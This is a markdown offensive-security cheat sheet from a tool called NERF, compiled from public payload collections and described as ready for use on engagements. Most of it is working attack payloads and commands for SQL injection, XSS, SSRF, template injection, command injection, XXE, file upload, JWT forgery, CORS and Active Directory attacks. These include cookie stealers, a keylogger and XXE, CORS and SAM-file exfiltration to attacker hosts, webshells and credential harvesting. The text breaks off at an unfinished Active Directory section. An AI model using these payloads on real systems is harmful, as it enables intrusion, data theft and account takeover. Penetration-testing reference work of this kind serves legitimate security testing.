<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# NERF Offensive Security Deep Reference

> Extracted from PayloadsAllTheThings, HackTricks, and MITRE Caldera.
> This is a working engagement reference — specific payloads, commands, and techniques ready for use.
---
## Table of Contents

1. [SQL Injection](#1-sql-injection)
2. [Cross-Site Scripting (XSS)](#2-cross-site-scripting-xss)
3. [Server-Side Request Forgery (SSRF)](#3-server-side-request-forgery-ssrf)
4. [Server-Side Template Injection (SSTI)](#4-server-side-template-injection-ssti)
5. [Command Injection](#5-command-injection)
6. [XML External Entity (XXE)](#6-xml-external-entity-xxe)
7. [Insecure File Upload](#7-insecure-file-upload)
8. [JWT Attacks](#8-jwt-attacks)
9. [GraphQL Injection](#9-graphql-injection)
10. [CORS Misconfiguration](#10-cors-misconfiguration)
11. [Insecure Deserialization](#11-insecure-deserialization)
12. [Pentesting Methodology (HackTricks)](#12-pentesting-methodology)
13. [Linux Privilege Escalation](#13-linux-privilege-escalation)
14. [Windows Privilege Escalation](#14-windows-privilege-escalation)
15. [Active Directory Attack Methodology](#15-active-directory-attack-methodology)
16. [MITRE Caldera — Adversary Emulation Framework](#16-mitre-caldera)
---
## 1. SQL Injection

**ATT&CK**: T1190 (Exploit Public-Facing Application)

### Entry Point Detection

Test characters: `'`, `"`, `;`, `)`, `*`
URL-encoded: `%27`, `%22`, `%23`, `%3B`, `%29`, `%2A`
Double-encoded: `%%2727`, `%25%27`
Unicode bypasses: `U+02BA` (modifier double prime) transforms to `"`, `U+02B9` transforms to `'`

### DBMS Fingerprinting (Keyword-Based)

| DBMS       | Payload                                    |
|------------|--------------------------------------------|
| MySQL      | `conv('a',16,2)=conv('a',16,2)`           |
| MySQL      | `connection_id()=connection_id()`          |
| MSSQL      | `@@CONNECTIONS>0`                          |
| MSSQL      | `BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)` |
| Oracle     | `ROWNUM=ROWNUM`                            |
| Oracle     | `LNNVL(0=123)`                             |
| PostgreSQL | `5::int=5`                                 |
| PostgreSQL | `pg_client_encoding()=pg_client_encoding()` |
| SQLite     | `sqlite_version()=sqlite_version()`        |

### Authentication Bypass

```sql
' OR '1'='1'--
' or 1=1 limit 1 --
admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'--
```

Raw MD5 bypass (PHP `md5($password, true)`): input `ffifdyop` produces `'or'6...` in raw binary.

### UNION-Based Extraction

```sql
1' UNION SELECT username, password FROM users --
-- Detect column count:
ORDER BY 1-- ORDER BY 2-- ... (increment until error)
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ... (add NULLs)
```

### Error-Based Extraction

```sql
-- PostgreSQL
LIMIT CAST((SELECT version()) as numeric)
-- MySQL
AND extractvalue(1, concat(0x7e, (SELECT version())))
AND updatexml(1, concat(0x7e, (SELECT version())), 1)
```

### Blind Boolean-Based

```sql
-- Confirm vulnerability
?id=1 AND 1=1 -- (normal response)
?id=1 AND 1=2 -- (different response)
-- Extract data character by character
?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 --
?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 --
```

### Blind Time-Based

```sql
' AND SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
' ; WAITFOR DELAY '00:00:05' --
-- MySQL heavy query
BENCHMARK(2000000,MD5(NOW()))
```

### Out-of-Band (OAST)

```sql
-- MySQL DNS exfiltration
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
-- MSSQL
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
```

### WAF Bypass — No Spaces

```
%09 (tab)   %0A (newline)   %0B (vtab)   %0C (form feed)
/**/ (inline comment)   +(plus)   () (parentheses wrapping)
```

### WAF Bypass — No Commas

```sql
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
LIMIT 1 OFFSET 0  -- instead of LIMIT 0,1
SUBSTR(data FROM 1 FOR 1)  -- instead of SUBSTR(data,1,1)
```

### MySQL-Specific

```sql
-- Write webshell
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'--
-- UDF command execution (requires FILE privilege + plugin_dir write)
-- Read file
' UNION SELECT LOAD_FILE('/etc/passwd')--
-- Wide byte injection (GBK encoding)
%bf%27  -- bypasses addslashes() producing valid multibyte + unescaped quote
```

### Polyglot Injection

```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```

### Second-Order SQLi

User registers with username `attacker'--`. Stored safely. Later used unsafely in another query:
```python
query = "SELECT * FROM logs WHERE username = '" + user_from_db + "'"
```

### Tools

- `sqlmap`: `sqlmap -u "http://target/page?id=1" --dbs --batch`
- `ghauri`: Alternative automatic SQLi tool
---
## 2. Cross-Site Scripting (XSS)

**ATT&CK**: T1189 (Drive-by Compromise)

### Proof-of-Concept (Beyond alert)

```html
<!-- Cookie stealer -->
<script>document.location='http://attacker/grab?c='+document.cookie</script>
<script>new Image().src="http://attacker/grab?c="+document.cookie;</script>
<script>new Image().src="http://attacker/grab?c="+localStorage.getItem('access_token');</script>

<!-- CORS-based exfil -->
<script>
fetch('https://COLLABORATOR.net', {method:'POST', mode:'no-cors', body:document.cookie});
</script>

<!-- Fake login (UI Redressing) -->
<script>
history.replaceState(null,null,'../../../login');
document.body.innerHTML="<h1>Please login</h1><form>Username:<input type='text'>Password:<input type='password'></form><input value='submit' type='submit'>"
</script>

<!-- Keylogger -->
<img src=x onerror='document.onkeypress=function(e){fetch("http://attacker?k="+String.fromCharCode(e.which))},this.remove();'>
```

### Best Practices for XSS Testing

Use `alert(document.domain)` or `alert(window.origin)` instead of `alert(1)` to confirm scope.
Use `console.log()` for stored XSS to avoid popup fatigue.
Use `debugger;` to trigger DevTools breakpoint.

### Common Payloads

```html
<!-- Script-based -->
<script>alert('XSS')</script>
"><script>alert('XSS')</script>
<script>\u0061lert('XSS')</script>
<script>eval('\x61lert(\'XSS\')')</script>

<!-- Event handler-based -->
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<svg id=alert(1) onload=eval(id)>
<body onload=alert('XSS')>
<input autofocus onfocus=alert(1)>
<details/open/ontoggle="alert(1)">
<video><source onerror="javascript:alert(1)">
<marquee onstart=alert(1)>

<!-- DOM-based -->
<div onpointerover="alert(1)">MOVE HERE</div>

<!-- Touch events (mobile) -->
<body ontouchstart=alert(1)>
```

### HTML5 Tag Payloads

```html
<video/poster/onerror=alert(1)>
<video src=_ onloadstart="alert(1)">
<audio src onloadstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>
```

### XSS in Hidden Inputs

```html
accesskey="x" onclick="alert(1)"  <!-- Requires Alt+Shift+X -->
```

### Remote JS Loading

```html
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>  <!-- 14.rs/#payload for custom payload -->
```

### XSS in Files

```xml
<!-- SVG -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

<!-- XML -->
<html><body><something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script></body></html>
```

### Blind XSS Endpoints

User-Agent headers, Referer headers, feedback forms, admin panels, log viewers, support tickets, error handlers.

### Tools

- **Dalfox** (Go, fast): `dalfox url "http://target/?param=FUZZ"`
- **XSStrike**: `python xsstrike.py -u "http://target/?param=test"`
---
## 3. Server-Side Request Forgery (SSRF)

**ATT&CK**: T1190, T1552.005 (Cloud Instance Metadata)

### Localhost Bypass Techniques

```
http://127.0.0.1       http://localhost       http://0.0.0.0
http://[::]:80/        http://[0000::1]:80/   http://[::ffff:127.0.0.1]
http://127.127.127.127 http://127.0.1.3       http://0/
http://127.1           http://127.0.1
```

### IP Encoding Bypasses

```
# Decimal
http://2130706433/          = 127.0.0.1
http://2852039166/          = 169.254.169.254

# Octal
http://0177.0.0.1/          = 127.0.0.1

# Hex
http://0x7f000001            = 127.0.0.1
http://0xa9fea9fe            = 169.254.169.254
```

### Domain-Based Bypasses

```
localtest.me       -> ::1
localh.st          -> 127.0.0.1
company.127.0.0.1.nip.io -> 127.0.0.1
spoofed.[BURP_COLLABORATOR] -> 127.0.0.1
```

### URL Parsing Discrepancy

```
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
http:127.0.0.1/
```

Different parsers resolve differently:
- `urllib2` -> `1.1.1.1`
- `requests`/browsers -> `2.2.2.2`
- `urllib` -> `3.3.3.3`

### DNS Rebinding

```
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
```

### URL Scheme Exploitation

```
file:///etc/passwd                    # File read
gopher://localhost:25/_MAIL%20FROM    # SMTP interaction
dict://attacker:11111/                # Dict protocol
sftp://evil.com:11111/                # Hang/exfil
ldap://localhost:11211/%0astats%0aquit # LDAP
netdoc:///etc/passwd                  # Java alternative to file://
jar:http://127.0.0.1!/                # JAR scheme (blind)
```

### Cloud Metadata Endpoints

```
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
http://metadata.google.internal/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# DigitalOcean
http://169.254.169.254/metadata/v1/
```

### Tools

- **SSRFmap**: Automatic SSRF fuzzer
- **Gopherus**: Generate gopher payloads for Redis, MySQL, SMTP, FastCGI
- **r3dir**: Redirect service for filter bypass
---
## 4. Server-Side Template Injection (SSTI)

**ATT&CK**: T1190

### Universal Detection

```
${{<%[%'"}}%\.     # Polyglot — triggers error if SSTI exists
{{7*7}}            # Jinja2/Twig — expect 49
${7*7}             # Mako/Freemarker — expect 49
#{7*7}             # Thymeleaf/Ruby ERB
<%= 7*7 %>         # ERB
```

Error-based detection: `(1/0).zxy.zxy` inside template tags. Error message reveals language.

### Jinja2 (Python) — RCE Payloads

```python
# Shortest known RCE
{{ lipsum.__globals__["os"].popen('id').read() }}

# Context-free (no __builtins__ needed)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

# Full chain via __builtins__
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Without guessing offset — find subprocess.Popen via iteration
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

# Read file
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

# Dump config
{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}
```

### Jinja2 — Filter Bypass

```python
# Bypass _ filter using hex escapes
{{request|attr('\x5f\x5fclass\x5f\x5f')}}

# Bypass . filter using |attr
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

# Bypass [] using |attr and request.args
{{request|attr(["__","class","__"]|join)}}
```

### Django Templates

```python
{{ messages.storages.0.signer.key }}          # Leak SECRET_KEY
{% debug %}                                    # Debug info leak
{% include 'admin/base.html' %}               # Admin URL leak
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}  # Admin creds
```

### Freemarker (Java) — RCE

```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}
```

### Java EL — RCE

```java
${''.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}
```

### Spring Expression Language (SpEL) — RCE

```java
${T(java.lang.Runtime).getRuntime().exec('id')}
```

### Mako (Python) — RCE

```python
${self.module.cache.util.os.system("id")}
<% import os; x=os.popen('id').read() %>${x}
```

### Tornado (Python) — RCE

```python
{%import os%}{{os.system('whoami')}}
```

### Tools

- **TInjA**: `tinja url -u "http://target/?name=test"`
- **SSTImap**: `python3 sstimap.py -u "http://target/?name=test" -s`
- **tplmap**: `python2.7 tplmap.py -u "http://target/?name=test*" --os-shell`
---
## 5. Command Injection

**ATT&CK**: T1059 (Command and Scripting Interpreter)

### Chaining Operators

```bash
;       # Sequential execution
&&      # Execute if previous succeeds
||      # Execute if previous fails
|       # Pipe output
&       # Background execution
`cmd`   # Backtick substitution
$(cmd)  # Dollar-paren substitution
```

### Argument Injection

```bash
# SSH
ssh '-oProxyCommand="touch /tmp/pwned"' foo@foo
# Chrome
chrome '--gpu-launcher="id>/tmp/foo"'
# psql
psql -o'|id>/tmp/foo'
# curl (write webshell)
curl http://evil.com/shell.php -o /var/www/html/shell.php
```

### Space Bypass

```bash
cat${IFS}/etc/passwd               # $IFS = Internal Field Separator
{cat,/etc/passwd}                  # Brace expansion
cat</etc/passwd                    # Input redirection
X=$'uname\x20-a'&&$X              # ANSI-C quoting
;ls%09-al%09/home                  # Tab character %09
```

### Character Filter Bypass

```bash
# Without slashes
echo ${HOME:0:1}                   # Outputs /
cat ${HOME:0:1}etc${HOME:0:1}passwd

# Hex encoding
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"  # /etc/passwd
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`

# Quoting bypass
w'h'o'am'i    wh''oami    w"h"o"am"i    w\ho\am\i

# Variable expansion
who$@ami    who$()ami    who$(echo am)i
```

### Wildcard Bypass (Windows)

```powershell
powershell C:\*\*2\n??e*d.*?     # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e  # calc
```

### Data Exfiltration

```bash
# DNS-based
for i in $(ls /); do host "$i.UNIQUEID.d.zhack.ca"; done

# Time-based
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```

### Polyglot Command Injection

```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
---
## 6. XML External Entity (XXE)

**ATT&CK**: T1190

### Classic XXE — File Read

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```

### XXE Base64 Encoded

```xml
<!DOCTYPE test [<!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```

### PHP Wrapper XXE

```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<foo>&xxe;</foo>
```

### XInclude (When DOCTYPE Is Forbidden)

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

### XXE to SSRF

```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal.service/secret">]>
<foo>&xxe;</foo>
```

### Billion Laughs (DoS)

```xml
<!DOCTYPE data [
<!ENTITY a0 "dos">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]><data>&a4;</data>
```

### Error-Based XXE (Using Local DTD)

```xml
<!-- Linux: /usr/share/xml/fontconfig/fonts.dtd has injectable %constant -->
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % constant 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>
    %local_dtd;
]><message>Text</message>

<!-- Windows: C:\Windows\System32\wbem\xml\cim20.dtd -->
```

### OOB XXE (Blind Exfil)

**Trigger payload:**
```xml
<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]><message></message>
```

**ext.dtd on attacker server:**
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

### XXE in Exotic Files

```xml
<!-- Inside SVG -->
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg>&xxe;</svg>

<!-- Inside DOCX: unzip, edit word/document.xml, rezip -->
<!-- Inside XLSX: unzip, edit xl/sharedStrings.xml, rezip -->
```

### WAF Bypass — JSON to XML

If endpoint accepts JSON, try sending XML with `Content-Type: application/xml`:
```xml
<?xml version="1.0"?><root>test</root>
```
---
## 7. Insecure File Upload

**ATT&CK**: T1190

### Extension Bypass Techniques

```
.php.jpg          # Double extension
.php%00.gif       # Null byte (pre-PHP 5.3.4)
.pHp, .pHP5       # Case variation
.php......        # Trailing dots (Windows)
.php%20           # Trailing space
.php%0a           # Newline
.php/             # Trailing slash
name.%E2%80%AEphp.jpg  # RTLO character (appears as name.gpj.php)
```

### PHP Alternative Extensions

```
.php3 .php4 .php5 .php7 .pht .phps .phar .phpt .pgif .phtml .phtm .inc
```

### MIME Type Spoofing

Change `Content-Type: application/x-php` to `Content-Type: image/gif`

### Magic Bytes

```
PNG: \x89PNG\r\n\x1a\n
JPG: \xff\xd8\xff
GIF: GIF87a  or  GIF8;
```

### PHP Webshell Variants

```php
<?php system($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<script language="php">system("id");</script>
```

### Metadata-Based Shell

```bash
exiftool -Comment="<?php echo 'CMD:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
```

### Filename-Based Attacks

```
'; sleep 10;.jpg              # Command injection via filename
../../../tmp/evil.png          # Path traversal
'"><img src=x onerror=alert(1)>.jpg  # XSS via filename
poc.js'(select*from(select(sleep(20)))a)+'.jpg  # SQLi via filename
```
---
## 8. JWT Attacks

**ATT&CK**: T1550 (Use Alternate Authentication Material)

### JWT Structure

`Base64(Header).Base64(Payload).Base64(Signature)`

### None Algorithm (CVE-2015-9235)

Change `"alg": "HS256"` to `"alg": "none"` (or `None`, `NONE`, `nOnE`) and remove the signature.

```bash
python3 jwt_tool.py JWT_HERE -X a
```

### Null Signature (CVE-2020-28042)

Send JWT with empty signature: `header.payload.`

```bash
python3 jwt_tool.py JWT_HERE -X n
```

### Key Confusion RS256 -> HS256 (CVE-2016-5431)

If server uses RS256, change alg to HS256 and sign with the **public key** as HMAC secret.

```bash
# Get public key
openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout

# Sign with public key
python3 jwt_tool.py JWT_HERE -X k -pk public.pem
```

### Key Injection (CVE-2018-0114)

Embed attacker's public key in JWT header as JWK, sign with attacker's private key.

```bash
python3 jwt_tool.py JWT_HERE -X i
```

### Secret Brute Force

```bash
# jwt_tool
python3 jwt_tool.py JWT_HERE -d wordlist.txt -C

# Hashcat (365 MH/s on GTX1080)
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
```

Known weak secrets list: `wallarm/jwt-secrets/jwt.secrets.list` (3502 common secrets)

### kid Claim Injection

```json
{"alg":"HS256","typ":"JWT","kid":"../../../../../../dev/null"}
```
Sign with empty string. Or SQLi in kid: `kid: "' UNION SELECT 'secret' --"`

### jku Header Injection

Point `jku` to attacker-controlled JWKS endpoint serving attacker's public key.

### Recover Public Key from Two JWTs

```bash
docker run -it ttervoort/jws2pubkey JWT1 JWT2
```
---
## 9. GraphQL Injection

**ATT&CK**: T1190

### Common Endpoints

```
/graphql  /graphiql  /v1/graphiql  /graph  /graphql.php  /graphql/console/
```

### Introspection Query (Schema Dump)

```graphql
{__schema{queryType{name}mutationType{name}types{kind name description fields(includeDeprecated:true){name description args{name type{kind name ofType{kind name}}}type{kind name ofType{kind name}}isDeprecated}}}}
```

Single-line compact version for WAF bypass:
```
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,type{kind,name,ofType{kind,name}}}}}}
```

### Suggestion-Based Enumeration

Send unknown field names; GraphQL responds with suggestions:
```json
{"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?"}
```

### Data Extraction

```graphql
{TYPE_1{FIELD_1,FIELD_2}}
{users{id,username,password}}
```

### Mutation Abuse

```graphql
mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
mutation{addUser(id:"1", name:"test", email:"t@t.com"){id name}}
```

### Batching Attacks (Rate Limit Bypass / 2FA Bypass)

```json
[{"query":"mutation{login(pass:1111,user:\"bob\"){token}}"},
 {"query":"mutation{login(pass:2222,user:\"bob\"){token}}"},
 {"query":"mutation{login(pass:3333,user:\"bob\"){token}}"}]
```

Alias-based batching:
```graphql
mutation {
A1: login(pass: 1111, username: "bob")
A2: login(pass: 2222, username: "bob")
A3: login(pass: 3333, username: "bob")
}
```

### SQLi/NoSQLi Through GraphQL

```graphql
{ bacon(id: "1'") { id, type, price } }
```
---
## 10. CORS Misconfiguration

**ATT&CK**: T1189

### Detection

Send `Origin: https://evil.com` header. Vulnerable if response contains:
```
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
```

### Origin Reflection Exploit

```javascript
var req = new XMLHttpRequest();
req.onload = function() {
Location='//attacker.net/log?key='+this.responseText;
};
req.open('get','https://victim.com/api/sensitive',true);
req.withCredentials = true;
req.send();
```

### Null Origin Exploit

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = function(){location='https://attacker.net/log?key='+encodeURIComponent(this.responseText)};
req.open('get','https://victim.com/api/sensitive',true);
req.withCredentials = true;
req.send();
</script>"></iframe>
```

### Expanding the Origin

Try: `evil-victim.com`, `victimevil.com`, `victim.com.evil.com`
---
## 11. Insecure Deserialization

**ATT&CK**: T1190

### Identification Headers

| Format          | Hex Header       | Base64 Prefix | Indicator            |
|-----------------|------------------|---------------|----------------------|
| Java Serialized | `AC ED`          | `rO`          | Binary stream        |
| .NET ViewState  | `FF 01`          | `/w`          | Hidden form fields   |
| PHP Serialized  | `4F 3A`          | `Tz`          | `O:`, `a:`, `s:` etc |
| Python Pickle   | `80 04 95`       | `gASV`        | `(lp0`, `S'Test'`    |
| Ruby Marshal    | `04 08`          | `BAgK`        | `\x04\x08` start     |

### Tools

- **Java**: `ysoserial` — `java -jar ysoserial.jar CommonsCollections1 'id' | base64`
- **PHP**: `phpggc` — `phpggc Laravel/RCE1 system id`
- **Python**: `pickle` — craft malicious pickle with `__reduce__`
- **.NET**: `ysoserial.net`
---
## 12. Pentesting Methodology

> From HackTricks — structured engagement workflow.

### Phase 0: Physical Attacks
GUI escape, kiosk breakout, USB attacks.

### Phase 1: Reconnaissance
- External: asset discovery, subdomain enumeration, OSINT
- Internal: host discovery, ARP scan, network mapping

### Phase 2: Network Interaction (Internal)
- LLMNR/NBT-NS poisoning with Responder
- NTLM relay attacks
- MitM credential capture

### Phase 3: Port Scanning
```bash
nmap -sC -sV -p- target
nmap --top-ports 1000 -sV target
```

### Phase 4: Service Version Exploits
searchsploit, exploit-db, CVE databases

### Phase 5: Service Pentesting
Web applications, databases, SMB, LDAP, RDP, SSH, SNMP

### Phase 6: Phishing
Social engineering, malicious documents, credential harvesting

### Phase 7: Getting Shell
Reverse shells, bind shells, web shells

### Phase 8: Post-Exploitation
- **Linux**: useful commands for enumeration
- **Windows**: CMD and PowerShell fundamentals

### Phase 9: Exfiltration
Data staging, DNS exfil, HTTP exfil, encrypted channels

### Phase 10: Privilege Escalation
LinPEAS / WinPEAS for automated enumeration

### Phase 11: Persistence
Multiple mechanisms (2-3 different types)

### Phase 12: Pivoting
Tunneling (SSH, chisel, ligolo-ng), lateral movement
---
## 13. Linux Privilege Escalation

> Checklist from HackTricks. Use [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) for automated enumeration.

### System Information
- [ ] OS info, kernel version
- [ ] Writable folders in PATH
- [ ] Sensitive env variables
- [ ] Kernel exploits (DirtyCow, DirtyPipe, etc.)
- [ ] Vulnerable sudo version

### SUID/SUDO Abuse
- [ ] `sudo -l` — check allowed commands
- [ ] SUID binaries: `find / -perm -4000 -type f 2>/dev/null`
- [ ] GTFOBins for exploitable binaries
- [ ] sudoedit CVE-2023-22809: `SUDO_EDITOR="vim -- /etc/sudoers" sudoedit /etc/hosts`
- [ ] LD_PRELOAD exploitation
- [ ] Missing .so in SUID binary from writable path

### Capabilities
```bash
getcap -r / 2>/dev/null
# Dangerous: cap_setuid, cap_setgid, cap_dac_override, cap_sys_admin
```

### Cron Jobs
- [ ] Writable cron scripts
- [ ] Wildcard injection in cron commands
- [ ] Writable PATH directories referenced by cron

### Services
- [ ] Writable .service files
- [ ] Writable binaries executed by services
- [ ] Writable systemd unit drop-in directories

### File-Based Privesc
- [ ] Writable /etc/passwd (add root-equivalent user)
- [ ] Readable /etc/shadow
- [ ] Writable Python libraries imported by root processes
- [ ] SSH keys in home directories
- [ ] Backup files (*.bak, *.old, *.conf)

### Network
- [ ] Internal services not accessible from outside
- [ ] Network sniffing: `tcpdump -i any -w capture.pcap`

### Container Escape
- [ ] Docker socket mounted: `/var/run/docker.sock`
- [ ] Privileged container check
- [ ] Capabilities check inside container
---
## 14. Windows Privilege Escalation

> Checklist from HackTricks. Use [WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) for automated enumeration.

### System Information
- [ ] System info: `systeminfo`
- [ ] Kernel exploits (searchsploit)
- [ ] PowerShell history: `Get-Content (Get-PSReadLineOption).HistorySavePath`
- [ ] AlwaysInstallElevated: `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`

### Token Privileges
Dangerous tokens (check with `whoami /priv`):
- **SeImpersonatePrivilege** — Potato attacks (JuicyPotato, PrintSpoofer, GodPotato)
- **SeBackupPrivilege** — Read any file
- **SeRestorePrivilege** — Write any file
- **SeDebugPrivilege** — Debug any process (dump LSASS)
- **SeTakeOwnershipPrivilege** — Take ownership of any object
- **SeLoadDriverPrivilege** — Load kernel drivers

### Service Exploitation
- [ ] Modifiable services: `accesschk.exe -uwcqv "Everyone" * /accepteula`
- [ ] Unquoted service paths: `wmic service get name,pathname,startmode | findstr /v /i "C:\Windows"`
- [ ] Writable service binary paths
- [ ] Service registry permissions

### DLL Hijacking
- [ ] Missing DLLs in PATH-searched directories
- [ ] Writable directories in system PATH
- [ ] Known DLL hijack targets

### Credential Harvesting
```powershell
# Winlogon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

# Saved RDP connections
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"

# WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="NETWORK" key=clear

# SAM/SYSTEM backup
copy C:\Windows\Repair\SAM \\attacker\share
copy C:\Windows\Repair\SYSTEM \\attacker\share

# DPAPI
mimikatz # dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\...

# Cached GPP passwords
findstr /S cpassword \\DC\SYSVOL\*.xml
```

### LAPS
```powershell
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Where {$_.'ms-Mcs-AdmPwd'} | Select Name, ms-Mcs-AdmPwd
```
---
## 15. Active Directory Attack Methodology

> From HackTricks — comprehensive AD attack chain.

### Phase 1: No Credentials

```bash
# SMB null session
enum4linux -a -u "" -p "" <DC_IP>
smbmap -u "" -p "" -P 445 -H <DC_IP>
smbclient -U '%' -L //<DC_IP>

# LDAP anonymous
nmap -n -sV --script "ldap* and not brute" -p 389 <DC_IP>

# DNS enumeration
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt

# Kerberos user enumeration (no auth)
./kerbrute userenum -d domain.local --dc 10.10.10.10 usernames.txt

# LLMNR/NBT-NS poisoning
responder -I eth0 -dwP

# MS-NRPC unauthenticated user enumeration
python3 nauth.py -t <DC_IP> -u users_file.txt
```

### Phase 2: With One User (Low-Priv)

```bash
# ASREPRoast (accounts without pre-auth)
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat

# Kerberoast (service accounts)
GetUserSPNs.py -request -dc-ip <DC_IP> domain.local/user -outputfile hashes.kerberoast
# Crack: hashcat -m 13100 hashes.kerberoast wordlist.txt

# Password spraying
crackmapexec smb <DC_IP> -u users.txt -p 'Summer2024!' --continue-on-success

# BloodHound collection
bloodhound-python -d domain.local -u user -p 'pass' -c all -ns <DC_IP>

# SMB share enumeration
smbmap -u user -p pass -d domain.local -H <DC_IP>
crackmapexec smb <DC_IP> -u user -p pass --shares

# LDAP enumeration
ldapsearch -x -H ldap://<DC_IP> -D "user@domain.local" -w 'pass' -b "DC=domain,DC=local"
```

### Phase 3: Local Admin on a Host

```bash
